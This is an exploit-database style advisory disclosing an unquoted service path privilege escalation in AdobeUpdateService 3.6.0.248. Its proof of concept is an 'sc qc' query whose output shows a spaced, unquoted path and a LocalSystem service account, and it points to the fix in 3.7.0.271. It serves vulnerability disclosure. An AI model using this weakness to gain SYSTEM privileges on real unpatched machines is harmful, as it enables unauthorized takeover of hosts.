AdobeUpdateService 3.6.0.248 Privilege Escalation

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# Exploit Title: AdobeUpdateService - Privilege Escalation Unquoted Service Path vulnerability  
# Date: 18/05/2016  
# Exploit Author : Cyril Vallicari  
# Vendor Homepage: http://www.adobe.com/fr/  
# Software Link: http://www.adobe.com/downloads.html  
# Version: 3.6.0.248  
# Tested on: Windows 7 x64 SP1 (but it should works on all windows version)  
  
  
The application suffers from an unquoted search path issue impacting the service 'AdobeUpdateService' for Windows deployed as part of Adobe Creative Cloud  
  
This could potentially allow an authorized but non-privileged local user to execute arbitrary code with system privileges on the system.  
  
POC :  
  
  
C:\Users\Utilisateur>sc qc AdobeUpdateService  
  
[SC] QueryServiceConfig réussite(s)  
  
SERVICE_NAME: AdobeUpdateService  
TYPE : 10 WIN32_OWN_PROCESS  
START_TYPE : 2 AUTO_START  
ERROR_CONTROL : 1 NORMAL  
BINARY_PATH_NAME : C:\Program Files (x86)\Common Files\Adobe\Adobe Desktop Common\ElevationManager\AdobeUpdateService.exe  
LOAD_ORDER_GROUP :  
TAG : 0  
DISPLAY_NAME : AdobeUpdateService  
DEPENDENCIES :  
SERVICE_START_NAME : LocalSystem  
  
  
  
Video POC : https://www.youtube.com/watch?v=RyzYkd05xM4  
  
Patch :  
  
Fixed in version 3.7.0.271  
  
Additional notes :  
  
https://helpx.adobe.com/security/products/creative-cloud/apsb16-21.html  
  
`